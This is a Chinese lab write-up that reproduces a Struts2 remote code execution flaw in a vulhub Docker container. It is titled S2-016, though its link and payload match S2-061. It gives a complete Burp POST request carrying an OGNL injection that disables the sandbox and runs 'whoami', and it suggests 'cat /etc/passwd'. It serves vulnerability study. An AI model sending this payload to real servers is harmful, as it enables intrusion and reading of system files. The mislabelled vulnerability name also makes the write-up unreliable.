s2-016漏洞复现
首先介绍一下struts2框架:Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。
回归正题
首先在kali上安装vulhub和compose(kali默认Python是2.7版本需要自己安装3.0以上版本才能安装docker)网上有很多教程了就不再细说了。
在https://github.com/vulhub/vulhub/tree/master/struts2/s2-061下载docker-compose.yml
将下载好的docker-compose.yml放到kali里放到单独的文件夹,在这个文件夹打开虚拟终端,输入docker-compose up -d或者docker-compose build
然后浏览器访问虚拟机ip:8080
显示上面图片就是环境搭建成功,然后打开浏览器代理和burpsuite,抓到包后我们在Repeater中粘贴这个post请求:
POST /index.action HTTP/1.1
Host: your IP:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=“id”
%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“whoami”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF–
把post请求包里的your IP改成kali的IP,在add后面的括号内输入自己的请求,这里我们输入的是whoami
命令。发送后等返回来,可以看到id后面就是我们想要的
如果将whoami改成cat /etc/passwd显示的就是passwd文件信息了。